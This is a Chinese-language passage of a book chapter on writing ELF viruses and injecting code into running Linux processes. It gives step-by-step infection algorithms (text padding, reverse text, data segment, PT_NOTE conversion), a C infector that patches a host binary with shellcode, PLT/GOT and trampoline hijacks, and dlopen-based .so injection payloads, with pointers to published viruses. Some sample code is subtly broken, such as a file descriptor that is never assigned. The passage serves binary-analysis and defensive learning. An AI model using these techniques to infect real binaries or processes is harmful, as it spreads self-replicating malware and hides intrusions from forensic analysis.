ELF 病毒技术的世界将为你作为黑客和工程师打开许多大门。首先,让我们讨论一下什么是 ELF 病毒。每个可执行程序都有一个控制流,也称为执行路径。ELF 病毒的第一个目标是劫持控制流,以便临时改变执行路径以执行寄生代码。寄生代码通常负责设置钩子来劫持函数,还负责将自身(寄生代码的主体)复制到尚未被病毒感染的另一个程序中。一旦寄生代码运行完毕,它通常会跳转到原始入口点或正常的执行路径。这样,病毒就不会被注意到,因为宿主程序看起来是正常执行的。

ELF 病毒技术

图 4.1:对可执行文件的通用感染

ELF 病毒工程挑战

ELF 病毒的设计阶段可能被认为是一种艺术创作,需要创造性思维和巧妙的构造;许多热情的编码人员会同意这一点。与此同时,这是一个超出常规编程约定的伟大工程挑战,需要开发人员超越常规范式思维,操纵代码、数据和环境以某种方式行为。曾经,我曾对一家大型杀毒软件AV)公司的一款产品进行了安全评估。在与杀毒软件的开发人员交谈时,我惊讶地发现他们几乎没有任何真正的想法如何设计病毒,更不用说设计任何真正的启发式来识别它们(除了签名)。事实上,编写病毒是困难的,需要严肃的技能。在工程化时,会出现许多挑战,让我们在讨论工程化组件之前,先看看其中一些挑战是什么。

寄生体代码必须是自包含的

寄生体必须能够实际存在于另一个程序中。这意味着它不能通过动态链接器链接到外部库。寄生体必须是自包含的,这意味着它不依赖于外部链接,是位置无关的,并且能够在自身内部动态计算内存地址;这是因为地址将在每次感染之间改变,因为寄生体将被注入到现有的二进制文件中,其位置将每次改变。这意味着如果寄生体代码通过其地址引用函数或字符串,硬编码的地址将改变,代码将失败;而是使用相对于 IP 的代码,使用一个函数通过指令指针的偏移量计算代码/数据的地址。

注意

在一些更复杂的内存病毒中,比如我的Saruman病毒,我允许寄生体编译为一个带有动态链接的可执行程序,但是将其启动到进程地址空间的代码非常复杂,因为它必须手动处理重定位和动态链接。还有一些可重定位代码注入器,比如 Quenya,允许寄生体编译为可重定位对象,但感染者必须能够在感染阶段支持处理重定位。

解决方案

使用gcc选项-nostdlib编译初始病毒可执行文件。您还可以使用-fpic -pie编译它,使可执行文件成为位置无关代码PIC)。x86_64 机器上可用的 IP 相对寻址实际上是病毒编写者的一个很好的功能。创建自己的常用函数,比如strcpy()memcmp()。当您需要malloc()的高级功能时,您可以使用sys_brk()sys_mmap()创建自己的分配例程。创建自己的系统调用包装器,例如,这里使用 C 和内联汇编展示了mmap系统调用的包装器:

#define __NR_MMAP 9
void *_mmap(unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags, long fd, unsigned long off)
{
        long mmap_fd = fd;
        unsigned long mmap_off = off;
        unsigned long mmap_flags = flags;
        unsigned long ret;

        __asm__ volatile(
                         "mov %0, %%rdi\n"
                         "mov %1, %%rsi\n"
                         "mov %2, %%rdx\n"
                         "mov %3, %%r10\n"
                         "mov %4, %%r8\n"
                         "mov %5, %%r9\n"
                         "mov $__NR_MMAP, %%rax\n"
                         "syscall\n" : : "g"(addr), "g"(len), "g"(prot),                "g"(flags), "g"(mmap_fd), "g"(mmap_off));
        __asm__ volatile ("mov %%rax, %0" : "=r"(ret));
        return (void *)ret;
}

一旦您有一个调用mmap()系统调用的包装器,您就可以创建一个简单的malloc例程。

malloc函数用于在堆上分配内存。我们的小malloc函数为每个分配使用了一个内存映射段,这是低效的,但对于简单的用例足够了。

void * _malloc(size_t len)
{
        void *mem = _mmap(NULL, len, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        if (mem == (void *)-1)
                return NULL;
        return mem;
}

字符串存储的复杂性

这个挑战与上一节关于自包含代码的最后一节相融合。在处理病毒代码中的字符串时,您可能会有:

const char *name = "elfmaster";

您将希望避免使用类似上述的代码。这是因为编译器可能会将elfmaster数据存储在.rodata部分,然后通过其地址引用该字符串。一旦病毒可执行文件被注入到另一个程序中,该地址将不再有效。这个问题实际上与我们之前讨论的硬编码地址的问题紧密相连。

解决方案

使用堆栈存储字符串,以便它们在运行时动态分配:

char name[10] = {'e', 'l', 'f', 'm', 'a', 's', 't', 'e', 'r', '\0'};

我最近在为 64 位 Linux 构建 Skeksi 病毒时发现的另一个巧妙技巧是通过使用gcc-N选项将文本和数据段合并为单个段,即读+写+执行RWX)。这非常好,因为全局数据和只读数据,例如.data.rodata部分,都合并到单个段中。这允许病毒在感染阶段简单地注入整个段,其中将包括来自.rodata的字符串文字。这种技术结合 IP 相对寻址允许病毒作者使用传统的字符串文字:

char *name = "elfmaster";

现在可以在病毒代码中使用这种类型的字符串,并且可以完全避免在堆栈上存储字符串的方法。然而,需要注意的是,将所有字符串存储在全局数据中会导致病毒寄生体的整体大小增加,这有时是不可取的。Skeksi 病毒最近发布,并可在www.bitlackeys.org/#skeksi上获得。

查找合法空间存储寄生虫代码

这是编写病毒时需要回答的一个重要问题之一:病毒的载荷(病毒的主体)将被注入到哪里?换句话说,在主机二进制文件的哪里将寄生虫存活?可能性因二进制格式而异。在ELF格式中,有相当多的地方可以注入代码,但它们都需要正确调整各种不同的ELF头值。

挑战并不一定是找到空间,而是调整ELF二进制文件以允许您使用该空间,同时使可执行文件看起来相当正常,并且足够接近ELF规范,以便它仍然能够正确执行。在修补二进制文件和修改其布局时,必须考虑许多事项,例如页面对齐、偏移调整和地址调整。

解决方案

在创建新的二进制修补方法时,仔细阅读ELF规范,并确保您在程序执行所需的边界内。在下一节中,我们将讨论一些病毒感染技术。

将执行控制流传递给寄生虫

这里还有另一个常见的挑战,那就是如何将主机可执行文件的控制流传递给寄生虫。在许多情况下,调整ELF文件头中的入口点以指向寄生虫代码就足够了。这是可靠的,但也非常明显。如果入口点已经修改为指向寄生虫,那么我们可以使用readelf -h来查看入口点,并立即知道寄生虫代码的位置。

解决方案

如果您不想修改入口点地址,那么考虑找到一个可以插入/修改分支到寄生虫代码的地方,例如插入jmp或覆盖函数指针。其中一个很好的地方是.ctors.init_array部分,其中包含函数指针。如果您不介意寄生虫在常规程序代码之后(而不是之前)执行,那么.dtors.fini_array部分也可以起作用。

ELF 病毒寄生体感染方法

二进制文件中只有有限的空间可以容纳代码,对于任何复杂的病毒,寄生虫至少会有几千字节,并且需要扩大主机可执行文件的大小。在ELF可执行文件中,没有太多的代码洞(例如 PE 格式),因此您不太可能能够将更多的 shellcode 塞入现有的代码槽中(例如具有 0 或NOPS用于函数填充的区域)。

Silvio 填充感染方法

这种感染方法是由 Silvio Cesare 在 90 年代后期构思的,并且此后出现在各种 Linux 病毒中,例如Brundle Fly和 Silvio 本人制作的 POC。这种方法很有创意,但它将感染负载限制在一页大小。在 32 位 Linux 系统上,这是 4096 字节,但在 64 位系统上,可执行文件使用 0x200000 字节的大页,这允许大约 2MB 的感染。这种感染的工作原理是利用内存中文本段和数据段之间会有一页填充的事实,而在磁盘上,文本段和数据段是紧挨着的,但是某人可以利用预期的段之间的空间,并将其用作负载的区域。

Silvio 填充感染方法

图 4.2:Silvio 填充感染布局

Silvio 在他的 VX Heaven 论文Unix ELF 寄生体和病毒中对文本填充感染进行了详细的描述和记录(vxheaven.org/lib/vsc01.html),因此,如果想要深入阅读,请务必查看。

Silvio .text 感染方法的算法

  1. 在 ELF 文件头中,将ehdr->e_shoff的值增加PAGE_SIZE

  2. 定位文本段phdr

  3. 修改寄生体位置的入口点:

ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz
  1. 增加phdr[TEXT].p_filesz的值,使其等于寄生体的长度。

  2. 增加phdr[TEXT].p_memsz的值,使其等于寄生体的长度。

  3. 对于每个phdr,其段在寄生体之后,增加phdr[x].p_offset的值PAGE_SIZE字节。

  4. 找到文本段中的最后一个shdr,并将shdr[x].sh_size的值增加寄生体的长度(因为这是寄生体存在的部分)。

  5. 对于每个寄生体插入后存在的shdr,增加shdr[x].sh_offset的值PAGE_SIZE

  6. 将实际寄生体代码插入文本段的位置为(file_base + phdr[TEXT].p_filesz)。

注意

原始的p_filesz值用于计算。

提示

创建一个反映所有更改的新二进制文件,然后将其复制到旧二进制文件上更有意义。这就是我所说的插入寄生体代码:重写一个包含寄生体的新二进制文件。

一个实现了这种感染技术的 ELF 病毒的很好的例子是我的lpv病毒,它是在 2008 年编写的。为了高效,我不会在这里粘贴代码,但可以在www.bitlackeys.org/projects/lpv.c找到。

文本段填充感染的示例

文本段填充感染(也称为 Silvio 感染)可以通过一些示例代码最好地进行演示,我们可以看到如何在插入实际寄生体代码之前正确调整 ELF 头文件。

调整 ELF 头文件

#define JMP_PATCH_OFFSET 1 // how many bytes into the shellcode do we patch
/* movl $addr, %eax; jmp *eax; */
char parasite_shellcode[] =
        "\xb8\x00\x00\x00\x00"      
        "\xff\xe0"                  
;

int silvio_text_infect(char *host, void *base, void *payload, size_t host_len, size_t parasite_len)
{
        Elf64_Addr o_entry;
        Elf64_Addr o_text_filesz;
        Elf64_Addr parasite_vaddr;
        uint64_t end_of_text;
        int found_text;

        uint8_t *mem = (uint8_t *)base;
        uint8_t *parasite = (uint8_t *)payload;

        Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
        Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
        Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];

        /*
         * Adjust program headers
         */
        for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {
                if (phdr[i].p_type == PT_LOAD) {
                        if (phdr[i].p_offset == 0) {

                                o_text_filesz = phdr[i].p_filesz;
                                end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
                                parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;

                                phdr[i].p_filesz += parasite_len;
                                phdr[i].p_memsz += parasite_len;

                                for (j = i + 1; j < ehdr->e_phnum; j++)
                                        if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
                                                phdr[j].p_offset += PAGE_SIZE;

                                }
                                break;
                        }
        }
        for (i = 0; i < ehdr->e_shnum; i++) {
                if (shdr[i].sh_addr > parasite_vaddr)
                        shdr[i].sh_offset += PAGE_SIZE;
                else
                if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
                        shdr[i].sh_size += parasite_len;
        }

    /*
      * NOTE: Read insert_parasite() src code next
         */
        insert_parasite(host, parasite_len, host_len,
                        base, end_of_text, parasite, JMP_PATCH_OFFSET);
        return 0;
}

插入寄生代码

#define TMP "/tmp/.infected"

void insert_parasite(char *hosts_name, size_t psize, size_t hsize, uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t jmp_code_offset)
{
/* note: jmp_code_offset contains the
* offset into the payload shellcode that
* has the branch instruction to patch
* with the original offset so control
* flow can be transferred back to the
* host.
*/
        int ofd;
        unsigned int c;
        int i, t = 0;
        open (TMP, O_CREAT | O_WRONLY | O_TRUNC, S_IRUSR|S_IXUSR|S_IWUSR);  
        write (ofd, mem, end_of_text);
        *(uint32_t *) &parasite[jmp_code_offset] = old_e_entry;
        write (ofd, parasite, psize);
        lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
        mem += end_of_text;
        unsigned int sum = end_of_text + PAGE_SIZE;
        unsigned int last_chunk = hsize - end_of_text;
        write (ofd, mem, last_chunk);
        rename (TMP, hosts_name);
        close (ofd);
}

上述函数的使用示例

uint8_t *mem = mmap_host_executable("./some_prog");
silvio_text_infect("./some_prog", mem, parasite_shellcode, parasite_len);

LPV 病毒

LPV 病毒使用 Silvio 填充感染,并且专为 32 位 Linux 系统设计。可在www.bitlackeys.org/#lpv下载。

Silvio 填充感染的用例

讨论的 Silvio 填充感染方法非常流行,并且已经被广泛使用。在 32 位 UNIX 系统上,此方法的实现仅限于 4096 字节的寄生体,如前所述。在使用大页的新系统上,这种感染方法具有更大的潜力,并允许更大的感染(最多 0x200000 字节)。我个人使用了这种方法进行寄生体感染和可重定位代码注入,尽管我已经放弃了它,转而使用我们接下来将讨论的反向文本感染方法。

反向文本感染

这种感染的理念最初是由 Silvio 在他的 UNIX 病毒论文中构思和记录的,但它没有提供一个可工作的 POC。我后来将其扩展为一种算法,我用于各种 ELF 黑客项目,包括我的软件保护产品Mayas Veil,该产品在www.bitlackeys.org/#maya中有讨论。

这种方法的前提是以反向方式扩展文本段。通过这样做,文本的虚拟地址将减少PAGE_ALIGN(parasite_size)。由于现代 Linux 系统上允许的最小虚拟映射地址(根据/proc/sys/vm/mmap_min_addr)是 0x1000,文本虚拟地址只能向后扩展到那里。幸运的是,由于 64 位系统上默认的文本虚拟地址通常是 0x400000,这留下了 0x3ff000 字节的寄生空间(减去sizeof(ElfN_Ehdr)字节,确切地说)。

计算主机可执行文件的最大寄生大小的完整公式将是这样的:

max_parasite_length = orig_text_vaddr - (0x1000 + sizeof(ElfN_Ehdr))

注意

在 32 位系统上,默认的文本虚拟地址是 0x08048000,这比 64 位系统上的寄生空间更大:

(0x8048000 - (0x1000 + sizeof(ElfN_Ehdr)) = (parasite len)134508492

反向文本感染

图 4.3:反向文本感染布局

这种.text感染有几个吸引人的特点:它不仅允许非常大的代码注入,而且还允许入口点保持指向.text部分。虽然我们必须修改入口点,但它仍然指向实际的.text部分,而不是其他部分,比如.jcr.eh_frame,这会立即显得可疑。插入点在文本中,因此它是可执行的(就像 Silvio 填充感染一样)。这打败了数据段感染,它允许无限的插入空间,但需要在启用 NX 位的系统上修改段权限。

反向文本感染算法

注意

这是对PAGE_ROUND(x)宏的引用,它将整数舍入到下一个页面对齐的值。

  1. 通过PAGE_ROUND(parasite_len)增加ehdr->e_shoff

  2. 找到文本段、phdr,并保存原始的p_vaddr

  3. 通过PAGE_ROUND(parasite_len)减少p_vaddr

  4. 通过PAGE_ROUND(parasite_len)减少p_paddr

  5. 通过PAGE_ROUND(parasite_len)增加p_filesz

  6. 通过PAGE_ROUND(parasite_len)增加p_memsz

  7. 找到每个phdr,其p_offset大于文本的p_offset,并通过PAGE_ROUND(parasite_len)增加p_offset;这将使它们全部向前移动,为反向文本扩展腾出空间。

  8. ehdr->e_entry设置为这个值:

orig_text_vaddr – PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr)
  1. 通过PAGE_ROUND(parasite_len)增加ehdr->e_phoff

  2. 通过创建一个新的二进制文件来插入实际的寄生代码,以反映所有这些变化,并将新的二进制文件复制到旧的位置。

反向文本感染方法的完整示例可以在我的网站上找到:www.bitlackeys.org/projects/text-infector.tgz

反向文本感染的更好示例是 Skeksi 病毒,可以从本章前面提供的链接中下载。这种感染类型的完整消毒程序也可以在这里找到:

www.bitlackeys.org/projects/skeksi_disinfect.c

数据段感染

在没有设置 NX 位的系统上,例如 32 位 Linux 系统,可以在数据段中执行代码(即使其权限是 R+W),而无需更改段权限。这可以是感染文件的一种非常好的方式,因为它为寄生虫留下了无限的空间。可以简单地通过寄生代码附加到数据段。唯一的注意事项是,您必须为.bss部分留出空间。.bss部分在磁盘上不占用空间,但在运行时为未初始化的变量在数据段末尾分配空间。您可以通过将数据段的phdr->p_fileszphdr->p_memsz中减去来获得.bss部分在内存中的大小。

数据段感染

图 4.4:数据段感染

数据段感染算法

  1. 通过寄生大小增加ehdr->e_shoff

  2. 定位数据段phdr

  3. 修改ehdr->e_entry,指向寄生代码的位置:

phdr->p_vaddr + phdr->p_filesz
  1. 通过寄生大小增加phdr->p_filesz

  2. 通过寄生大小增加phdr->p_memsz

  3. 调整.bss段头,使其偏移和地址反映寄生结束的位置。

  4. 在数据段上设置可执行权限:

phdr[DATA].p_flags |= PF_X;

注意

步骤 4 仅适用于具有 NX(不可执行页面)位设置的系统。在 32 位 Linux 上,数据段不需要标记为可执行以执行代码,除非内核中安装了类似 PaX(pax.grsecurity.net/)的东西。

  1. 可选地,添加一个带有虚假名称的段头,以便考虑寄生代码。否则,如果有人运行/usr/bin/strip <infected_program>,它将完全删除寄生代码,如果没有被一个部分考虑到。

  2. 通过创建一个反映更改并包含寄生代码的新二进制文件来插入寄生虫。

数据段感染对于并非特定于病毒的情况非常有用。例如,在编写打包程序时,通常有用的是将加密的可执行文件存储在存根可执行文件的数据段中。

PT_NOTE 到 PT_LOAD 转换感染方法

这种方法非常强大,尽管很容易被检测到,但实现起来也相对容易,并提供可靠的代码插入。其思想是将PT_NOTE段转换为PT_LOAD类型,并将其位置移动到所有其他段之后。当然,您也可以通过创建一个PT_LOAD phdr条目来创建一个全新的段,但由于程序仍然可以在没有PT_NOTE段的情况下执行,您可能会将其转换为PT_LOAD。我个人没有为病毒实现过这种技术,但我在 Quenya v0.1 中设计了一个允许您添加新段的功能。我还对 Jpanic 编写的 Retaliation Linux 病毒进行了分析,该病毒使用了这种感染方法:

www.bitlackeys.org/#retaliation

PT_NOTE 到 PT_LOAD 转换感染方法

图 4.5:PT_LOAD 感染

关于PT_LOAD感染没有严格的规则。如此处所述,您可以将PT_NOTE转换为PT_LOAD,也可以创建一个全新的PT_LOAD phdr和段。

PT_NOTE 到 PT_LOAD 转换感染算法

  1. 定位数据段phdr

  2. 找到数据段结束的地址:

    ds_end_addr = phdr->p_vaddr + p_memsz
  1. 找到数据段结束的文件偏移量:
    ds_end_off = phdr->p_offset + p_filesz
  1. 获取用于可加载段的对齐大小:
    align_size = phdr->p_align
  1. 定位PT_NOTE phdr:

  2. 将 phdr 转换为 PT_LOAD:

    phdr->p_type = PT_LOAD;
  1. 将其分配给这个起始地址:
    ds_end_addr + align_size
  1. 分配一个大小以反映寄生代码的大小:
    phdr->p_filesz += parasite_size
    phdr->p_memsz += parasite_size
  1. 使用ehdr->e_shoff += parasite_size来考虑新段。

  2. 通过编写一个新的二进制文件来插入寄生代码,以反映 ELF 头更改和新段。

注意

记住,段头表在寄生段之后,因此ehdr->e_shoff += parasite_size

感染控制流

在前一节中,我们研究了将寄生代码引入二进制文件并通过修改感染程序的入口点执行的方法。就引入新代码到二进制文件中而言,这些方法非常有效;实际上,它们非常适合二进制修补,无论是出于合法的工程原因还是出于病毒的目的。修改入口点在许多情况下也是相当合适的,但远非隐秘,而且在某些情况下,您可能不希望寄生代码在入口时执行。也许您的寄生代码是一个您感染了二进制文件的单个函数,您只希望这个函数作为替换其感染的二进制文件中的另一个函数被调用;这被称为函数劫持。当打算追求更复杂的感染策略时,我们必须意识到 ELF 程序中所有可能的感染点。这就是事情开始变得真正有趣的地方。让我们看看许多常见的 ELF 二进制感染点:

感染控制流

图 4.6:ELF 感染点

如前图所示,ELF 程序中还有其他六个主要区域可以被操纵以在某种程度上修改行为。

直接 PLT 感染

不要将其与 PLT/GOT(有时称为 PLT 挂钩)混淆。 PLT(过程链接表)和 GOT(全局偏移表)在动态链接和共享库函数调用期间密切配合工作。它们是两个单独的部分。我们在第二章ELF 二进制格式动态链接部分学习了它们。简单地说,PLT 包含每个共享库函数的条目。每个条目包含执行间接jmp到存储在 GOT 中的目标地址的代码。一旦动态链接过程完成,这些地址最终指向其关联的共享库函数。通常,攻击者可以覆盖包含指向其代码的地址的 GOT 条目。这是可行的,因为它最容易;GOT 是可写的,只需修改其地址表即可改变控制流。当讨论直接 PLT 感染时,我们并不是指修改 GOT。我们谈论的是实际修改 PLT 代码,使其包含不同的指令以改变控制流。

以下是libc fopen()函数的 PLT 条目的代码:

0000000000402350 <fopen@plt>:
  402350:       ff 25 9a 7d 21 00       jmpq   *0x217d9a(%rip)        # 61a0f0
  402356:       68 1b 00 00 00          pushq  $0x1b
  40235b:       e9 30 fe ff ff          jmpq   402190 <_init+0x28>

请注意,第一条指令是一个间接跳转。该指令长度为六个字节:这很容易被另一个五/六字节的指令替换,以改变控制流到寄生代码。考虑以下指令:

push $0x000000 ; push the address of parasite code onto stack
ret       ; return to parasite code

这些指令被编码为\x68\x00\x00\x00\x00\xc3,可以被注入到 PLT 条目中,以劫持所有fopen()调用并使用寄生函数(无论是什么)。由于.plt部分位于文本段中,它是只读的,因此这种方法不适用于利用漏洞(如.got覆盖)的技术,但绝对可以用病毒或内存感染来实现。

函数跳板

这种类型的感染显然属于直接 PLT 感染的最后一类,但为了明确我们的术语,让我描述一下传统函数跳板通常指的是什么,即用某种分支指令覆盖函数代码的前五到七个字节,以改变控制流:

movl $<addr>, %eax  --- encoded as \xb8\x00\x00\x00\x00\xff\xe0
jmp *%eax
push $<addr>      --- encoded as \x68\x00\x00\x00\xc3
ret

寄生函数被调用,而不是预期的函数。如果寄生函数需要调用原始函数,这通常是情况,那么寄生函数的工作就是用原始指令替换原始函数中的五到七个字节,调用它,然后将跳板代码复制回原位。这种方法既可以应用于实际的二进制文件本身,也可以应用于内存中。这种技术通常用于劫持内核函数,尽管在多线程环境中并不是很安全。

覆盖.ctors/.dtors 函数指针

这种方法实际上在本章早些时候提到过,当讨论将执行控制流引导到寄生代码时。为了完整起见,我将对其进行回顾:大多数可执行文件都是通过链接到libc来编译的,因此gcc在编译的可执行文件和共享库中包含了glibc初始化代码。.ctors.dtors部分(有时称为.init_array.fini_array)包含初始化或终结代码的函数指针。.ctors/.init_array函数指针在调用main()之前触发。这意味着可以通过覆盖其中一个函数指针的正确地址来将控制转移到病毒或寄生代码。.dtors/.fini_array函数指针直到main()之后才触发,在某些情况下可能是可取的。例如,某些堆溢出漏洞(例如,一旦释放phrack.org/issues/57/9.html)会导致攻击者可以向任何位置写入四个字节,并且通常会覆盖一个指向 shellcode 的.dtors函数指针的地址。对于大多数病毒或恶意软件作者来说,.ctors/.init_array函数指针更常见,因为通常希望在程序的其余部分运行之前运行寄生代码。

GOT - 全局偏移表中毒或 PLT/GOT 重定向

GOT 中毒,也称为 PLT/GOT 感染,可能是劫持共享库函数的最佳方法。这相对容易,并允许攻击者充分利用 GOT,这是一个指针表。由于我们在第二章中深入讨论了 GOT,ELF 二进制格式,我不会再详细说明它的目的。这种技术可以通过直接感染二进制文件的 GOT 或在内存中进行。有一篇关于我在 2009 年写的关于在内存中进行这种操作的论文,名为现代 ELF 运行时感染通过 GOT 中毒,网址为vxheaven.org/lib/vrn00.html,其中解释了如何在运行时进程感染中进行这种操作,并提供了一种可以用来绕过 PaX 强加的安全限制的技术。

感染数据结构

可执行文件的数据段包含全局变量、函数指针和结构。这打开了一个攻击向量,只针对特定的可执行文件,因为每个程序在数据段中有不同的布局:不同的变量、结构、函数指针等。尽管如此,如果攻击者了解布局,就可以通过覆盖函数指针和其他数据来改变可执行文件的行为。一个很好的例子是数据/.bss缓冲区溢出利用。正如我们在第二章中学到的,.bss在运行时分配(在数据段的末尾),包含未初始化的全局变量。如果有人能够溢出一个包含要执行的可执行文件路径的缓冲区,那么就可以控制要运行的可执行文件。

函数指针覆盖

这种技术实际上属于最后一种(感染数据结构),也属于与.ctors/.dtors函数指针覆写相关的技术。为了完整起见,我将其列为自己的技术,但基本上,这些指针将位于数据段和.bss(初始化/未初始化的静态数据)中。正如我们已经讨论过的,可以覆盖函数指针以改变控制流,使其指向寄生体。

进程内存病毒和 rootkit - 远程代码注入技术

到目前为止,我们已经涵盖了用寄生代码感染 ELF 二进制文件的基础知识,这足以让你忙碌至少几个月的编码和实验。然而,本章将不完整,如果没有对感染进程内存进行彻底讨论。正如我们所了解的,内存中的程序与磁盘上的程序并没有太大的区别,我们可以通过ptrace系统调用来访问和操作运行中的程序,就像第三章 Linux 进程跟踪中所示的那样。进程感染比二进制感染更加隐蔽,因为它们不会修改磁盘上的任何内容。因此,进程内存感染通常是为了对抗取证分析。我们刚刚讨论的所有 ELF 感染点都与进程感染相关,尽管注入实际的寄生代码与 ELF 二进制文件的方式不同。由于它在内存中,我们必须将寄生代码注入内存,可以通过使用PTRACE_POKETEXT(覆盖现有代码)直接注入,或者更好地,通过注入创建新内存映射以存储代码的 shellcode。这就是共享库注入等技术发挥作用的地方。在本章的其余部分,我们将讨论一些远程代码注入的方法。

共享库注入 - .so 注入/ET_DYN 注入

这种技术可以用来将共享库(无论是恶意的还是不恶意的)注入到现有进程的地址空间中。一旦库被注入,你可以使用前面描述的感染点之一,通过 PLT/GOT 重定向、函数跳板等方式将控制流重定向到共享库。挑战在于将共享库注入到进程中,这可以通过多种方式来实现。

.so 注入与 LD_PRELOAD

关于将共享库注入进程的方法是否可以称为注入,存在争议,因为它不适用于现有进程,而是在程序执行时加载共享库。这是通过设置LD_PRELOAD环境变量,以便所需的共享库在任何其他库之前加载。这可能是一个快速测试后续技术(如 PLT/GOT 重定向)的好方法,但不够隐蔽,也不适用于现有进程。

图 4.7 - 使用 LD_PRELOAD 注入 wicked.so.1

$ export LD_PRELOAD=/tmp/wicked.so.1

$ /usr/local/some_daemon

$ cp /lib/x86_64-linux-gnu/libm-2.19.so /tmp/wicked.so.1

$ export LD_PRELOAD=/tmp/wicked.so.1

$ /usr/local/some_daemon &

$ pmap `pidof some_daemon` | grep 'wicked'

00007ffaa731e000   1044K r-x-- wicked.so.1

00007ffaa7423000   2044K ----- wicked.so.1

00007ffaa7622000      4K r---- wicked.so.1

00007ffaa7623000      4K rw--- wicked.so.1

正如你所看到的,我们的共享库wicked.so.1被映射到进程地址空间中。业余爱好者倾向于使用这种技术来创建小型用户空间 rootkit,劫持glibc函数。这是因为预加载的库将优先于任何其他共享库,因此,如果你将函数命名为glibc函数的名称,比如open()write()(它们是系统调用的包装器),那么你预加载的库的版本的函数将被执行,而不是真正的open()write()。这是一种廉价而肮脏的劫持glibc函数的方法,如果攻击者希望保持隐蔽,就不应该使用这种方法。

.so 注入与 open()/mmap() shellcode

这是一种通过将 shellcode(使用ptrace)注入到现有进程的文本段中并执行它来将任何文件(包括共享库)加载到进程地址空间的方法。我们在第三章,“Linux 进程跟踪”中演示了这一点,我们的code_inject.c示例加载了一个非常简单的可执行文件到进程中。同样的代码也可以用来加载共享库。这种技术的问题是,大多数您想要注入的共享库都需要重定位。open()/mmap()函数只会将文件加载到内存中,但不会处理代码重定位,因此大多数您想要加载的共享库除非是完全位置无关的代码,否则不会正确执行。在这一点上,您可以选择通过解析共享库的重定位并使用ptrace()在内存中应用它们来手动处理重定位。幸运的是,还有一个更简单的解决方案,我们将在下面讨论。

.so 注入与 dlopen() shellcode

dlopen()函数用于动态加载可执行文件最初未链接的共享库。开发人员经常使用这种方式为其应用程序创建插件形式的共享库。程序可以调用dlopen()来动态加载共享库,并实际上调用动态链接器为您执行所有重定位。不过,存在一个问题:大多数进程没有dlopen()可用,因为它存在于libdl.so.2中,程序必须显式链接到libdl.so.2才能调用dlopen()。幸运的是,也有解决方案:几乎每个程序默认在进程地址空间中映射了libc.so(除非显式编译为其他方式),而libc.so具有与dlopen()相当的__libc_dlopen_mode()。这个函数几乎以完全相同的方式使用,但需要设置一个特殊的标志:

#define DLOPEN_MODE_FLAG 0x80000000

这不是什么大问题。但在使用__libc_dlopen_mode()之前,您必须首先通过获取要感染的进程中libc.so的基址,解析__libc_dlopen_mode()的符号,然后将符号值st_value(参见第二章,“ELF 二进制格式”)添加到libc的基址,以获取__libc_dlopen_mode()的最终地址。然后,您可以设计一些以 C 或汇编调用__libc_dlopen_mode()的 shellcode,将您的共享库加载到进程中,具有完整的重定位并准备执行。然后可以使用__libc_dlsym()函数来解析共享库中的符号。有关使用dlopen()dlsym()的更多详细信息,请参阅dlopen手册页。

图 4.8 - 调用 __libc_dlopen_mode()的 C 代码

/* Taken from Saruman's launcher.c */
#define __RTLD_DLOPEN 0x80000000 //glibc internal dlopen flag
#define __BREAKPOINT__ __asm__ __volatile__("int3");
#define __RETURN_VALUE__(x) __asm__ __volatile__("mov %0, %%rax\n" :: "g"(x))

__PAYLOAD_KEYWORDS__ void * dlopen_load_exec(const char *path, void *dlopen_addr)
{
        void * (*libc_dlopen_mode)(const char *, int) = dlopen_addr;
        void *handle;        handle = libc_dlopen_mode(path, __RTLD_DLOPEN|RTLD_NOW|RTLD_GLOBAL);
        __RETURN_VALUE__(handle);
        __BREAKPOINT__;
}

非常值得注意的是,dlopen()也会加载 PIE 可执行文件。这意味着您可以将完整的程序注入到进程中并运行它。实际上,您可以在单个进程中运行尽可能多的程序。这是一种令人难以置信的反取证技术,当使用线程注入时,您可以同时运行它们,以便它们同时执行。Saruman 是我设计的一个 PoC 软件,用于执行此操作。它使用两种可能的注入方法:具有手动重定位的open()/mmap()方法或__libc_dlopen_mode()方法。这在我的网站www.bitlackeys.org/#saruman上可用。

.so 注入与 VDSO 操作

这是我在vxheaven.org/lib/vrn00.html中论文中讨论的一种技术。这个想法是操纵虚拟动态共享对象VDSO),它自 Linux 内核版本 2.6.x 以来被映射到每个进程的地址空间中。VDSO 包含用于加速系统调用的代码,并且可以直接从 VDSO 中调用。技巧是通过使用PTRACE_SYSCALL来定位调用系统调用的代码,一旦它落在这段代码上就会中断。攻击者可以加载%eax/%rax以获取所需的系统调用号,并将参数存储在其他寄存器中,遵循 Linux x86 系统调用的适当调用约定。这是令人惊讶地简单,可以用来调用open()/mmap()方法,而无需注入任何 shellcode。这对于绕过防止用户将代码注入文本段的 PaX 非常有用。我建议阅读我的论文,以获得关于这种技术的完整论述。

文本段代码注入

这是一种简单的技术,除了注入 shellcode 之外,对于其他用途并不是很有用,一旦 shellcode 执行完毕,应该迅速替换为原始代码。您希望直接修改文本段的另一个原因是创建函数跳板,我们在本章前面讨论过,或者直接修改.plt代码。但就代码注入而言,最好的方法是将代码加载到进程中或创建一个新的内存映射,可以在其中存储代码:否则,文本段很容易被检测到被修改。

可执行文件注入

